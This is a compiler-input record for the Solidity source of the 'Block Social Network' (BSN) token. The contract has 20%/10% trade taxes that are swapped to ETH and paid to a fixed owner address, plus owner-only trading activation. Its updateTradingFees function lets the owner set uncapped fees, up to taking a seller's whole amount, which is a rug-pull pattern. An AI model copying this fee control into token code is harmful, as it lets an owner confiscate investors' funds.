creation_sourcecode: {{
    "language": "Solidity",
    "sources": {
      "Contract.sol": {
        "content": "/*\r\n * Telegram: https://t.me/blocksocialnet\r\n * Twitter: https://twitter.com/0xBlockNet\r\n * Website: https://blocknetwork.social\r\n * Platform: https://platform.blocknetwork.social/\r\n * Docs: https://block-social-network.gitbook.io/whitepaper/\r\n * Medium: https://medium.com/@blocksocialnetwork\r\n*/\r\n\r\n// SPDX-License-Identifier: unlicense\r\n\r\npragma solidity ^0.8.20;\r\n\r\ninterface IUniswapV2Router02 {\r\n    function swapExactTokensForETHSupportingFeeOnTransferTokens(\r\n        uint amountIn,\r\n        uint amountOutMin,\r\n        address[] calldata path,\r\n        address to,\r\n        uint deadline\r\n    ) external;\r\n}\r\n\r\ncontract BlockSocialNetwork {\r\n    string public constant name = \"Block Social Network\";  //\r\n    string public constant symbol = \"BSN\";  //\r\n    uint8 public constant decimals = 18;\r\n    uint256 public constant totalSupply = 100_000_000_000 * 10**decimals;\r\n\r\n    struct TradingFees{\r\n        uint256 buyFee;\r\n        uint256 sellFee;\r\n    }\r\n\r\n    TradingFees tradingFees = TradingFees(20,10);\r\n    uint256 constant swapBackAmunt = totalSupply / 100;\r\n\r\n    mapping (address => uint256) public balanceOf;\r\n    mapping (address => mapping (address => uint256)) public allowance;\r\n    \r\n    error AccessRestriction();\r\n    \r\n    event Transfer(address indexed from, address indexed to, uint256 value);\r\n    event Approval(\r\n        address indexed owner,\r\n        address indexed spender,\r\n        uint256 value\r\n    );\r\n\r\n    address private pair;\r\n    address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\r\n    address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\r\n    IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress);\r\n    address payable constant owner = payable(address(0x06fef66Ae072f0260BAE969Cbb322882956D0CaF)); //\r\n\r\n    bool private swapping;\r\n    bool private tradingOpen;\r\n\r\n    constructor() {\r\n        balanceOf[msg.sender] = totalSupply;\r\n        allowance[address(this)][routerAddress] = type(uint256).max;\r\n        emit Transfer(address(0), msg.sender, totalSupply);\r\n    }\r\n\r\n    receive() external payable {}\r\n\r\n    function approve(address spender, uint256 amount) external returns (bool){\r\n        allowance[msg.sender][spender] = amount;\r\n        emit Approval(msg.sender, spender, amount);\r\n        return true;\r\n    }\r\n\r\n    function transfer(address to, uint256 amount) external returns (bool){\r\n        return _transfer(msg.sender, to, amount);\r\n    }\r\n\r\n    function transferFrom(address from, address to, uint256 amount) external returns (bool){\r\n        allowance[from][msg.sender] -= amount;        \r\n        return _transfer(from, to, amount);\r\n    }\r\n\r\n    function _transfer(address from, address to, uint256 amount) internal returns (bool){\r\n        require(tradingOpen || from == owner || to == owner);\r\n\r\n        if(!tradingOpen && pair == address(0) && amount > 0)\r\n            pair = to;\r\n\r\n        balanceOf[from] -= amount;\r\n\r\n        if (to == pair && !swapping && balanceOf[address(this)] >= swapBackAmunt){\r\n            swapping = true;\r\n            address[] memory path = new  address[](2);\r\n            path[0] = address(this);\r\n            path[1] = ETH;\r\n            _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\r\n                swapBackAmunt,\r\n                0,\r\n                path,\r\n                address(this),\r\n                block.timestamp\r\n            );\r\n            owner.transfer(address(this).balance);\r\n            swapping = false;\r\n        }\r\n\r\n        if(from != address(this)){\r\n            uint256 taxAmount = amount * (from == pair ? tradingFees.buyFee : tradingFees.sellFee) / 100;\r\n            amount -= taxAmount;\r\n            balanceOf[address(this)] += taxAmount;\r\n        }\r\n        balanceOf[to] += amount;\r\n        emit Transfer(from, to, amount);\r\n        return true;\r\n    }\r\n\r\n    function openTrading() external {\r\n        require(!tradingOpen);\r\n        if(msg.sender == owner)\r\n            tradingOpen = true;           \r\n        else     \r\n            revert AccessRestriction();\r\n    }\r\n\r\n    function _updateTradingFees(uint256 _feeOnBuy, uint256 _feeOnSell) private {\r\n        tradingFees = TradingFees(_feeOnBuy, _feeOnSell);\r\n    }\r\n\r\n    function updateTradingFees(uint256 _feeOnBuy, uint256 _feeOnSell) external {\r\n        if(msg.sender == owner)        \r\n            _updateTradingFees(_feeOnBuy, _feeOnSell);\r\n        else\r\n            revert AccessRestriction();\r\n    }\r\n}"
      }
    },
    "settings": {
      "optimizer": {
        "enabled": true,
        "runs": 200
      },
      "outputSelection": {
        "*": {
          "*": [
            "evm.bytecode",
            "evm.deployedBytecode",
            "devdoc",
            "userdoc",
            "metadata",
            "abi"
          ]
        }
      }
    }
  }}